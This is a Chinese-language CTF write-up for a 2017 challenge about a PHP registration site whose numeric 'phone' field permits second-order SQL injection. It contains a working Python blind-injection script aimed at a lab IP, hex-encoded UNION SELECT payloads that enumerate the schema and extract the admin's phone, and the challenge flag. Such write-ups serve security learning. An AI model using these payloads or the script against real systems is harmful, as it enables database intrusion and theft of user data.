从github上找到了2017年的题目资料,包含部分writeup,地址 https://github.com/30000ft/CTF_CNAS_2017。
CNAS/MPS CTF 2017: Malicious Code Protection
Points: 200
安全主管部门告诉你这个网站的phone参数有问题,但具体什么问题没说,请根据你丰富的经验找到该网站的漏洞并复现。
Write-up
首先检查了基本的username和password注入可行性,失败。
然后根据题目提示检查了phone参数,实际上并没有长度限制,maxlength是前端的限制。
尝试了一下phone为非数字字符,提示必须为数字。试了一下phone=.1,注册成功,估计后台校验用的是is_numeric。于是再试了一下`phone=0x61626364',注册成功并且登录后提示phone为abcd,但是在check有多少相同的phone的时候却出现了db error!的提示。
思考了一会儿,猜测后台逻辑是直接INSERT INTO table VALUES ('$username', '$password', $phone),这之后再从数据库里SELECT出phone存储到php的$_SESSION中,最后检查多少phone相同的时候直接用$_SESSION中的phone拼接到SQL语句中,于是就有SELECT COUNT(*) FROM table WHERE phone=$_SESSION[phone]这样的语句。这样,当我注册phone为0x61626364的时候数据库中由于不存在abcd字段名就报错了。
剩下就清晰了,不过由于没有其它回显,只有提示多少电话号码相同的一个回显,就只能盲注。通过不停注册帐号来爆破admin的phone,写了个python脚本。
import requests
from binascii import unhexlify, hexlify
import re
from random import shuffle
error = '<!DOCTYPE html>\n<html>\n<head>\n\t<title>Check</title>\n</head>\n<body>\n<div class="text" style=" text-align:center;">There only 1 people use the same phone as you</div><!-- å\x90¬è¯´adminç\x9a\x84ç\x94µè¯\x9dè\x97\x8fç\x9d\x80大ç§\x98å¯\x86å\x93¦ï½\x9e-->\n</body>\n</html>'
alert = re.compile(r'alert\((.*?)\)')
# charsets
alnum = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYz0123456789'
digit = '0123456789'
payload = "{rand}||username='admin'&&ASCII(MID(phone,{offset},1))>={guess}"
def randstr(charset):
charset = list(charset)
shuffle(charset)
return ''.join(charset)
def str2hex(string):
return hexlify(string.encode()).decode()
def register(user):
url = 'http://172.16.5.155/register.php'
find = alert.findall(requests.post(url, user).text)
if find:
raise Exception(*find)
def login(user):
session = requests.session()
url = 'http://172.16.5.155/login.php'
find = alert.findall(session.post(url, user).text)
if find:
raise Exception(*find)
return session
def check(session, user):
url = 'http://172.16.5.155/check.php'
resp = session.get(url).text
if resp.find('db error!') != -1:
raise Exception('db error!')
return resp
def getflag(offset):
bnd = [0x20, 0x80]
while bnd[0] + 1 != bnd[1]:
m = bnd[0] + bnd[1] >> 1
# generate random phone number so that there will
# be only 1 user (myself) have same phone number as mine.
randphone = randstr(digit)
user = {
'username': randstr(alnum),
'password': 'f4K3@Pa55wOrd*ha//hei-ho',
'phone': '0x' + str2hex(payload.format(
rand=randphone,
offset=offset,
guess=m)),
}
register(user)
session = login(user)
resp = check(session, user)
bnd[int(resp == error)] = m
return chr(bnd[0])
if __name__ == '__main__':
offset = 1
while True: # Just hit Ctrl+C manually to exit.
print(getflag(offset), end='', flush=True)
offset += 1发现这道题和i春秋上的一道题一模一样,然后复现了一下。
测试发现注入方法是这样
1 union select database()
绕过转成16进制

注册填到phone字段

然后登录,check得到database为webdb

按照这个方法继续注册得到表名,字段名,和数据
#得到表名 0x7765626462 为 webdb的十六进制
1 union select table_name from information_schema.tables where table_schema = 0x7765626462
#十六进制为
0x3120756e696f6e2073656c656374207461626c655f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d61203d2030783737363536323634363220
#获得表名为 user
#继续获取字段名 0x75736572 为 user 的十六进制
1 union select column_name from information_schema.columns where table_name= 0x75736572
#十六进制为
0x3120756e696f6e2073656c65637420636f6c756d6e5f6e616d652066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d2030783735373336353732
#获取到有用的字段名为username 和 phone
#最后获取admin的phone 0x61646d696e 为 admin 的十六进制
1 union select phone from user where username = 0x61646d696e
#十六进制为
0x3120756e696f6e2073656c6563742070686f6e652066726f6d207573657220776865726520757365726e616d65203d20307836313634366436393665
#获得结果
flag{6dd303b0-8fce-2396-9ad8-d9f7a72f84b0}看到github上的writeup写的复杂了,不需要盲注就可以得到结果。
注意:因为phone只能填写数字,所以在注入的时候不需要加单引号,这点切记。